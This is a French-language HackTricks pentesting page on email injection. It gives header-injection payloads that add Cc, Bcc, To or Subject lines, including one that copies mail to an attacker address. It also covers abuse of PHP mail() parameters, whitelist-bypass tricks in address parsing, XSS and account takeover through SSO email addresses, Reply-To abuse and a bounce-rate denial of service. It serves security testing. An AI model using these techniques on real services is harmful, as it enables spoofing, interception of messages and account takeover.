hacktricks/pentesting-web/email-injections.md

168 lines
9.3 KiB
Markdown

# Injections d'Email
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Injecter dans l'email envoyé
### Injecter Cc et Bcc après l'argument de l'expéditeur
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Le message sera envoyé aux comptes destinataire et destinataire1.
### Injecter un argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Le message sera envoyé au destinataire original et au compte de l'attaquant.
### Injecter l'argument Subject
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Le faux sujet sera ajouté au sujet original et dans certains cas le remplacera. Cela dépend du comportement du service de messagerie.
### Modifier le corps du message
Injectez un saut de deux lignes, puis écrivez votre message pour changer le corps du message.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Exploitation de la fonction mail() PHP
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### Le 5ème paramètre ($additional\_parameters)
Cette section est basée sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
Ce paramètre sera ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction `escapeshellcmd($additional_parameters)`.
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
#### Différences dans l'implémentation de /usr/sbin/sendmail
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (tels que les paramètres -t -i -f) reste la **même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
* Sendmail MTA : http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA : http://www.postfix.org/mailq.1.html
* Exim MTA : https://linux.die.net/man/8/eximReferences
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **fuir des fichiers ou même exécuter des commandes arbitraires**. Vérifiez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Injecter dans le nom de l'e-mail
### Parties ignorées d'un e-mail
Les symboles : **+, -** et **{}** peuvent être utilisés pour le marquage et sont ignorés par la plupart des serveurs d'e-mails
* Ex. : john.doe+intigriti@example.com → john.doe@example.com
**Les commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
* Ex. : john.doe(intigriti)@example.com → john.doe@example.com
### Contournement de liste blanche
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
### Guillemets
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
### IPs
Vous pouvez également utiliser des IPs comme noms de domaine entre crochets :
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Autres vulnérabilités
![](<../.gitbook/assets/image (296).png>)
## SSO tiers
### XSS
Certains services comme **github** ou **salesforce** vous permettent de créer une **adresse e-mail avec des charges utiles XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services **ne nettoient pas correctement** l'e-mail, vous pourriez provoquer un **XSS**.
### Prise de contrôle de compte
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un autre service** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
_Remarquez que salesforce indique si l'e-mail fourni a été vérifié ou non, donc l'application devrait prendre en compte cette information._
## Reply-To
Vous pouvez envoyer un e-mail en utilisant _**From: company.com**_ et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée parce que l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait **recevoir** cette **réponse**.
## Taux de rebond dur
Certaines applications comme AWS ont un **taux de rebond dur** (chez AWS, il est de 10 %), qui, lorsqu'il est dépassé, bloque le service d'e-mail.
Un **rebond dur** est un **e-mail** qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'**adresse e-mail** est fausse, peut-être que le domaine de l'**e-mail** n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'**e-mail** n'accepte pas les **e-mails**), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont causé un rebond, **AWS SES** bloquera votre service.
Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations) depuis l'application web à n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et domaines inexistants : DoS du service d'e-mail.**
## Références
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires les **plus avancés**.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}